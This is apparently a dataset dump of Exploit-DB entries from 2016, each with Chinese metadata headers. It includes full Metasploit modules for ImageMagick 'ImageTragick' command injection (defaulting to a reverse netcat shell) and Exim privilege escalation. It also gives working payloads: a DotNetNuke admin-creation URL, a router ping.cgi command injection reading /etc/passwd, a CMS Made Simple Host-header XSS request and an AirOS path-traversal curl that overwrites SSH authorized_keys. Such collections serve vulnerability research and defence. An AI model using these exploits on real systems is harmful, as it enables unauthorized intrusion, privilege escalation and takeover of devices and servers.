QLWD/code_shield huggingface dataset:
标题: ImageMagick 6.9.3-9 / 7.0.1-0 - 'ImageTragick' Delegate Arbitrary Command Execution (Metasploit) EDB-ID: 39791 CVE: 2016-3714 类型: LOCAL 平台: MULTIPLE 发布日期: 2016-05-09 漏洞利用脚本: ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit

  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'ImageMagick Delegate Arbitrary Command Execution',
      'Description'     => %q{
        This module exploits a shell command injection in the way "delegates"
        (commands for converting files) are processed in ImageMagick versions
        <= 7.0.1-0 and <= 6.9.3-9 (legacy).

        Since ImageMagick uses file magic to detect file format, you can create
        a .png (for example) which is actually a crafted SVG (for example) that
        triggers the command injection.

        Tested on Linux, BSD, and OS X. You'll want to choose your payload
        carefully due to portability concerns. Use cmd/unix/generic if need be.
      },
      'Author'          => [
        'stewie',            # Vulnerability discovery
        'Nikolay Ermishkin', # Vulnerability discovery
        'wvu',               # Metasploit module
        'hdm'                # Metasploit module
      ],
      'References'      => [
        %w{CVE 2016-3714},
        %w{URL https://imagetragick.com/},
        %w{URL http://seclists.org/oss-sec/2016/q2/205},
        %w{URL https://github.com/ImageMagick/ImageMagick/commit/06c41ab},
        %w{URL https://github.com/ImageMagick/ImageMagick/commit/a347456}
      ],
      'DisclosureDate'  => 'May 3 2016',
      'License'         => MSF_LICENSE,
      'Platform'        => 'unix',
      'Arch'            => ARCH_CMD,
      'Privileged'      => false,
      'Payload'         => {
        'BadChars'      => "\x22\x27\x5c", # ", ', and \
        'Compat'        => {
          'PayloadType' => 'cmd cmd_bash',
          'RequiredCmd' => 'generic netcat bash-tcp'
        }
      },
      'Targets'         => [
        ['SVG file',  template: 'msf.svg'], # convert msf.png msf.svg
        ['MVG file',  template: 'msf.mvg'], # convert msf.svg msf.mvg
        ['MIFF file', template: 'msf.miff'] # convert -label "" msf.svg msf.miff
      ],
      'DefaultTarget'   => 0,
      'DefaultOptions'  => {
        'PAYLOAD'               => 'cmd/unix/reverse_netcat',
        'LHOST'                 => Rex::Socket.source_address,
        'DisablePayloadHandler' => false,
        'WfsDelay'              => 9001
      }
    ))

    register_options([
      OptString.new('FILENAME', [true, 'Output file', 'msf.png'])
    ])
  end

  def exploit
    if target.name == 'SVG file'
      p = Rex::Text.html_encode(payload.encoded)
    else
      p = payload.encoded
    end

    file_create(template.sub('echo vulnerable', p))
  end

  def template
    File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'CVE-2016-3714', target[:template]
    ))
  end

end URL: https://www.exploit-db.com/exploits/39791
标题: DotNetNuke 07.04.00 - Administration Authentication Bypass EDB-ID: 39777 CVE: 2015-2794 类型: WEBAPPS 平台: ASP 发布日期: 2016-05-06 漏洞利用脚本: # Exploit Title: DotNetNuke 07.04.00 Administration Authentication Bypass
# Date: 06-05-2016
# Exploit Author: Marios Nicolaides
# Vendor Homepage: http://www.dnnsoftware.com/
# Software Link: https://dotnetnuke.codeplex.com/releases/view/611324
# Version: 07.04.00
# Tested on: Microsoft Windows 7 Professional (64-bit)
# Contact: marios.nicolaides@outlook.com
# CVE: CVE-2015-2794
# Category: webapps
 
1. Description
   
DotNetNuke 07.04.00 does not prevent anonymous users from accessing the installation wizard, as a result a remote attacker 
can 'reinstall' DNN and get unauthorised access as a SuperUser.

Previous versions of DotNetNuke may also be affected.
 
   
2. Proof of Concept
 
The exploit can be demonstrated as follows:

If the DNN SQL database is in the default location and configuration:
 - Database Type: SQL Server Express File
 - Server Name: .\SQLExpress
 - Filename: Database.mdf (This is the default database file of DNN. You can find it at \App_Data\Database.mdf)

The following URL will create an account with the username: 'host', password: 'dnnhost':
 http://www.example.com/Install/InstallWizard.aspx?__VIEWSTATE=&culture=en-US&executeinstall


If the DNN SQL database is not in the default configuration then the attacker must know its configuration or be able to brute-force guess it.

 A. Visit http://www.example.com/Install/InstallWizard.aspx?__VIEWSTATE=
 B. Fill in the form and submit it:
  Username: whatever
  Password: whateverpassword
  Email address: whatever@example.com (You will get an error msg due to client-side validation, just ignore it)
  Website Name: Whatever Site Name
  Database Setup Custom:
   - Database Type: SQL Server Express File
   - Server Name: .\SQLExpress 
    - This is the SQL Server instance name that we need to find or brute-force guess it in order to complete the installation. 
    - If MSSQL database is accessible you can use auxiliary/scanner/mssql/mssql_ping from MSF to get it.
   - Filename: Database.mdf
    - This is the default database file of DNN. You can find it at "\App_Data\Database.mdf".
   - Tick the box Run Database as a Database Owner
 C. You will probably get an error. Remove the "__VIEWSTATE=" parameter from the URL and press enter.
 D. When the installation completes click Visit Website.
 E. Login with your credentials.

3. Solution:

Update to version 07.04.01
https://dotnetnuke.codeplex.com/releases/view/615317

4. References:

http://www.dnnsoftware.com/platform/manage/security-center (See 2015-05 (Critical) unauthorized users may create new host accounts)
http://www.dnnsoftware.com/community-blog/cid/155198/workaround-for-potential-security-issue URL: https://www.exploit-db.com/exploits/39777
标题: McAfee LiveSafe 14.0 - Relocations Processing Memory Corruption EDB-ID: 39770 CVE: 2016-4535 类型: DOS 平台: WINDOWS 发布日期: 2016-05-04 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=817

Fuzzing packed executables with McAfee's LiveSafe 14.0 on Windows found a signedness error parsing sections and relocations. The attached fuzzed testcase demonstrates this and causes a crash in mscan64a.dll. I verified that this crash reproduces on Linux and Windows, all version of McAfee appear to be affected including the embedded version and the SDK.

Naturally, this code runs as SYSTEM on Windows, with no sandboxing and is used to parse untrusted remote input.

0:045> .lastevent
Last event: d34.13a4: Access violation - code c0000005 (first chance)
  debugger time: Tue Apr  5 15:02:40.009 2016 (UTC - 7:00)
0:045> r
rax=00000000306f1000 rbx=00000000306f1000 rcx=00000000ffffffff
rdx=00000001031d114f rsi=00000000031d1150 rdi=00000000306f4000
rip=00000000711a36fa rsp=00000000064748a0 rbp=00000000031ca880
 r8=00000000000005d3  r9=00000000306f0fff r10=8d00008661e82404
r11=0000000000000000 r12=00000000306f4000 r13=000000000647917c
r14=000000001070c1b8 r15=00000000031ca698
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
mscan64a!RetrieveSingleExtensionList+0x19844a:
00000000`711a36fa 0fb64a01        movzx   ecx,byte ptr [rdx+1] ds:00000001`031d1150=??

Okay, what happened there?

0:007> ub 
mscan64a!RetrieveSingleExtensionList+0x198437:
00000000`71fd36e7 8b45c8          mov     eax,dword ptr [rbp-38h]
00000000`71fd36ea 8b08            mov     ecx,dword ptr [rax]
00000000`71fd36ec 8d4101          lea     eax,[rcx+1]
00000000`71fd36ef 3bc7            cmp     eax,edi
00000000`71fd36f1 7332            jae     mscan64a!RetrieveSingleExtensionList+0x198475 (00000000`71fd3725)
00000000`71fd36f3 2bcb            sub     ecx,ebx
00000000`71fd36f5 8bd1            mov     edx,ecx
00000000`71fd36f7 4803d6          add     rdx,rsi
0:007> dd @rbp-38 L1
00000000`0c529018  0c52d7ac
0:007> dd 0c52d7ac L1
00000000`0c52d7ac  90000fff

So it looks like that calculation is used as an index into @rsi, which is obviously going to be oob.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39770.zip URL: https://www.exploit-db.com/exploits/39770
标题: Adobe Flash - MovieClip.duplicateMovieClip Use-After-Free EDB-ID: 39779 CVE: 2016-1011 类型: DOS 平台: WINDOWS 发布日期: 2016-05-06 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=759

There is a use-after-free in MovieClip.duplicateMovieClip.If an action associated with the MovieClip frees the clip provided as the initObject parameter to the call, it will be used after it is freed.A PoC is attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39779.zip URL: https://www.exploit-db.com/exploits/39779
标题: Adobe Flash (Multiple Scripts) - Use-After-Free When Rendering Displays (2) EDB-ID: 39778 CVE: 2016-1013 类型: DOS 平台: WINDOWS 发布日期: 2016-05-06 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=719

There is a use-after-free that appears to be related to rendering the display based on multiple scripts. A PoC is attached, tested on Windows only. Note the PoC is somewhat unreliable on some browsers, sometimes it needs to render a minute or two in the foreground before crashing. This is related to unreliability in the freed object being reallocated as a value that causes the crash, not unreliability in the underlying bug (it crashes immediately in a debug build of Flash). With enough effort, an attacker could likely trigger the issue immediately.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39778.zip URL: https://www.exploit-db.com/exploits/39778
标题: NetCommWireless HSPA 3G10WVE Wireless Router - Multiple Vulnerabilities EDB-ID: 39762 CVE: 2015-6024 2015-6023 类型: WEBAPPS 平台: CGI 发布日期: 2016-05-04 漏洞利用脚本: Title:
====

NetCommWireless HSPA 3G10WVE Wireless Router – Multiple vulnerabilities

Credit:
======

Name: Bhadresh Patel
Company/affiliation: HelpAG
Website: www.helpag.com

CVE:
=====

CVE-2015-6023, CVE-2015-6024

Date:
====

03-05-2016 (dd/mm/yyyy)

Vendor:
======

NetComm Wireless is a leading developer and supplier of high performance
communication devices that connect businesses and people to the internet.

Products and services:
Wireless 3G/4G broadband devices
Custom engineered technologies
Broadband communication devices

Customers:
Telecommunications carriers
Internet Service Providers
System Integrators
Channel partners
Enterprise customers

Product:
=======

HSPA 3G10WVE is a wireless router

It integrates a wireless LAN, HSPA module and voice gateway into one
stylish unit. Insert an active HSPA SIM Card into the slot on the rear
panel & get instant access to 3G internet connection. Etisalat HSPA
3G10WVE wireless router incorporates a WLAN 802.11b/g access point, two
Ethernet 10/100Mbps ports for voice & fax. Featuring voice port which
means that one can stay connected using the internet & phone. If one
need a flexible internet connection for his business or at home; this is
the perfect solution.

Customer Product link: http://www.etisalat.ae/nrd/en/generic/3.5g_router.jsp


Abstract:
=======

Multiple vulnerabilities in the HSPA 3G10WVE wireless router enable an
anonymous unauthorized attacker to 1) bypass authentication and gain
unauthorized access of router's network troubleshooting page (ping.cgi)
and 2) exploit a command injection vulnerability on ping.cgi, which
could result in a complete system/network compromise.

Report-Timeline:
============
03-09-2015: Vendor notification
08-09-2015: Vendor Response/Feedback
02-05-2016: Vendor Fix/Patch
03-05-2016: Public Disclosure

Affected Software Version:
=============

3G10WVE-L101-S306ETS-C01_R03


Exploitation-Technique:
===================

Remote


Severity Rating (CVSS):
===================

10.0 (Critical) (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)


Details:
=======

Below listed vulnerabilities enable an anonymous unauthorized attacker
to gain access of network troubleshooting page (ping.cgi) on wireless
router and inject commands to compromise full system/network.

1) Bypass authentication and gain unauthorized access vulnerability -
CVE-2015-6023
2) Command injection vulnerability - CVE-2016-6024

Vulnerable module/page/application: ping.cgi

Vulnerable parameter: DIA_IPADDRESS

Proof Of Concept:
================

PoC URL:
http(s)://<victim_IP>/ping.cgi?DIA_IPADDRESS=4.2.2.2;cat%20/etc/passwd

PoC Video: https://www.youtube.com/watch?v=FS43MRG7RDk

Patched/Fixed Firmware and notes:
==========================

ftp://files.planetnetcomm.com/3G10WVE/3G10WVE-L101-S306ETS-C01_R05.bin

NOTE: Verified only by Vendor



Credits:
=======

Bhadresh Patel
Senior Security Analyst
HelpAG (www.helpag.com) URL: https://www.exploit-db.com/exploits/39762
标题: CMS Made Simple < 1.12.1 / < 2.1.3 - Web Server Cache Poisoning EDB-ID: 39760 CVE: 2016-2784 类型: WEBAPPS 平台: PHP 发布日期: 2016-05-04 漏洞利用脚本: =============================================
Web Server Cache Poisoning in CMS Made Simple
=============================================

CVE-2016-2784

Product Description
===================

CMS Made Simple is a great tool with many plugins to publish content on the Web. It aims to 
be simple to use by end users and to provide a secure and robust website.

Website: http://www.cmsmadesimple.org/

Description
===========

A remote unauthenticated attacker can insert malicious content in a CMS Made Simple 
installation by poisoning the web server cache when Smarty Cache is activated by modifying 
the Host HTTP Header in his request.

The vulnerability can be triggered only if the Host header is not part of the web server 
routing process (e.g. if several domains are served by the same web server).

This can lead to phishing attacks because of the modification of the site's links, 
defacement or Cross-Site-Scripting attacks by a lack of filtering of HTML entities in 
$_SERVER variable.

**Access Vector**: remote
**Security Risk**: medium
**Vulnerability**: CWE-20
**CVSS Base score**: 5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

----------------
Proof of Concept
----------------

Request that shows improper HTML entities filtering and will insert 
' onload='javacript:alert(Xss) in the pages :

  GET / HTTP/1.1
  Host: ' onload='javascrscript:ipt:alert(Xss)
  Accept: */*
  Accept-Encoding: gzip, deflate
  Connection: close
  
Request that changes the root domain for all links and allows to redirect to external 
websites : 

  GET / HTTP/1.1
  Host: www.malicious.com
  Accept: */*
  Accept-Encoding: gzip, deflate
  Connection: close
  
Solution
========

Use the variable $_SERVER['SERVER_NAME'] instead of the variable $_SERVER['HTTP_HOST'] 
given that the server name is correctly defined or use an application specific 
constant.

Fixes
=====

Upgrade to CMS Made Simple 2.1.3 or 1.12.2.

See http://www.cmsmadesimple.org/2016/03/Announcing-CMSMS-1-12-2-kolonia and 
http://www.cmsmadesimple.org/2016/04/Announcing-CMSMS-2-1-3-Black-Point for upgrade 
instructions.

Mitigation : disable Smarty caching in the admin panel.

Affected Versions
=================

CMS Made Simple < 2.1.3 and < 1.12.2

Vulnerability Disclosure Timeline
=================================

02-24-2016: Vendor contacted
02-24-2016: Vulnerability confirmed by the vendor
03-01-2016: CVE identifier assigned
03-28-2016 & 04-16-2016: Vendor patch release
05-03-2016: Public Disclosure

Credits
=======

 * Mickaël Walter, I-Tracing (lab -at- i-tracing -dot- com)
 
 Website: http://www.i-tracing.com/ URL: https://www.exploit-db.com/exploits/39760
标题: QSEE - PRDiag* Commands Privilege Escalation EDB-ID: 39757 CVE: 2015-6639 类型: LOCAL 平台: ANDROID 发布日期: 2016-05-02 漏洞利用脚本: Sources:
https://bits-please.blogspot.ca/2016/05/qsee-privilege-escalation-vulnerability.html
https://github.com/laginimaineb/cve-2015-6639

Qualcomm's Secure Execution Environment  (QSEE) Privilege Escalation Exploit using PRDiag* commands (CVE-2015-6639)


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39757.zip URL: https://www.exploit-db.com/exploits/39757
标题: Mach Race OSX - Local Privilege Escalation EDB-ID: 39741 CVE: 2016-1757 类型: LOCAL 平台: OSX 发布日期: 2016-04-27 漏洞利用脚本: Source: https://github.com/gdbinit/mach_race

Mach Race OS X Local Privilege Escalation Exploit

(c) fG! 2015, 2016, reverser@put.as - https://reverse.put.as

A SUID, SIP, and binary entitlements universal OS X exploit (CVE-2016-1757).

Usage against a SUID binary:

./mach_race_server /bin/ps _compat_mode

for i in seq 0 1000000; do ./mach_race_client /bin/ps; done

Against an entitled binary to bypass SIP:

./mach_race_server /System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/system_shove _geteuid

for i in seq 0 1000000; do ./mach_race_client /System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/system_shove; done

Note: because the service name is not modified you can't chain this exploit from user to root and then use it to bypass SIP since bootstrap_register2 will fail the second time (service is already registered with launchd from the first run). The solution is to add a parameter to use a different service name for example.

Note2: there's no need to make this into two separate apps, a single binary works, you just need to fork a server and client.

References:

https://reverse.put.as/wp-content/uploads/2016/04/SyScan360_SG_2016_-_Memory_Corruption_is_for_wussies.pdf

http://googleprojectzero.blogspot.pt/2016/03/race-you-to-kernel.html

Tested against Mavericks 10.10.5, Yosemite 10.10.5, El Capitan 10.11.2 and 10.11.3.

Fixed in El Capitan 10.11.4.

Should work with all OS X versions (depends if bootstrap_register2 exists on older versions).

Alternative implementation with bootstrap_create_server possible for older versions.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39741.zip URL: https://www.exploit-db.com/exploits/39741
标题: Microsoft Windows Kernel - DrawMenuBarTemp Wild-Write (MS16-039) EDB-ID: 39712 CVE: 2016-0143 类型: DOS 平台: WINDOWS_X86-64 发布日期: 2016-04-20 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=707

The attached testcases crashes Windows 7 64-bit while attempting to write to an unmapped memory region. On 32-bit Windows 7 it triggers a null pointer read.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39712.zip URL: https://www.exploit-db.com/exploits/39712
标题: AirOS 6.x - Arbitrary File Upload EDB-ID: 39701 CVE: 2015-9266 类型: WEBAPPS 平台: CGI 发布日期: 2016-04-15 漏洞利用脚本: EDB-Note Source: https://hackerone.com/reports/73480

Vulnerability

It's possible to overwrite any file (and create new ones) on AirMax systems, because the "php2" (maybe because of a patch) don't verify the "filename" value of a POST request. It's possible to a unauthenticated user to exploit this vulnerability.
Example

Consider the following request:

POST https://192.168.1.20/login.cgi HTTP/1.1
Cookie: $Version=0; AIROS_SESSIONID=9192de9ba81691e3e4d869a7207ec80f; $Path=/; ui_language=en_US
Content-Type: multipart/form-data; boundary=---------------------------72971515916103336881230390860
Content-Length: 773
User-Agent: Jakarta Commons-HttpClient/3.1
Host: 192.168.1.20
Cookie: $Version=0; AIROS_SESSIONID=7597f7f30cec75e1faef8fb608fc43bb; $Path=/; ui_language=en_US

-----------------------------72971515916103336881230390860
Content-Disposition: form-data; name="keyfile"; filename="../../etc/dropbear/authorized_keys"
Content-Type: application/vnd.ms-publisher

{{Your Public Key HERE}}
-----------------------------72971515916103336881230390860--

The web server must filter the file name ../../etc/dropbear/authorized_keys to just authorized_keys or return a 404. But the AirMax just received the file, overwriting the original (creating if don't exist) in the process. In this case the attacker are uploading arbitrary public ssh keys, but it can be used to upload configurations, or "/etc/passwd"...
Consequences

It's possible to take control over any AirMax Product with simple forged http POST request, what it disastrous.


Reproducing

With a simple command:
curl -F "file=@.ssh/id_rsa.pub;filename=../../etc/dropbear/authorized_keys" -H "Expect:" 'https://192.168.1.20/login.cgi' -k

Of course if the ssh is disabled you can overwrite /etc/passwd and/or /tmp/system.cfg. URL: https://www.exploit-db.com/exploits/39701
标题: Exim - 'perl_startup' Local Privilege Escalation (Metasploit) EDB-ID: 39702 CVE: 2016-1531 类型: LOCAL 平台: LINUX 发布日期: 2016-04-15 漏洞利用脚本: ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local

  Rank = ExcellentRanking

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Exim "perl_startup" Privilege Escalation',
      'Description'     => %q{
        This module exploits a Perl injection vulnerability in Exim < 4.86.2
        given the presence of the "perl_startup" configuration parameter.
      },
      'Author'          => [
        'Dawid Golunski', # Vulnerability discovery
        'wvu'             # Metasploit module
      ],
      'References'      => [
        %w{CVE 2016-1531},
        %w{EDB 39549},
        %w{URL http://www.exim.org/static/doc/CVE-2016-1531.txt}
      ],
      'DisclosureDate'  => 'Mar 10 2016',
      'License'         => MSF_LICENSE,
      'Platform'        => 'unix',
      'Arch'            => ARCH_CMD,
      'SessionTypes'    => %w{shell meterpreter},
      'Privileged'      => true,
      'Payload'         => {
        'BadChars'      => "\x22\x27", # " and '
        'Compat'        => {
          'PayloadType' => 'cmd cmd_bash',
          'RequiredCmd' => 'generic netcat netcat-e bash-tcp telnet'
        }
      },
      'Targets'         => [
        ['Exim < 4.86.2', {}]
      ],
      'DefaultTarget'   => 0
    ))
  end

  def check
    if exploit('whoami') == 'root'
      CheckCode::Vulnerable
    else
      CheckCode::Safe
    end
  end

  def exploit(c = payload.encoded)
    # PERL5DB technique from http://perldoc.perl.org/perlrun.html
    cmd_exec(%Q{PERL5OPT=-d PERL5DB='exec "#{c}"' exim -ps 2>&-})
  end

end URL: https://www.exploit-db.com/exploits/39702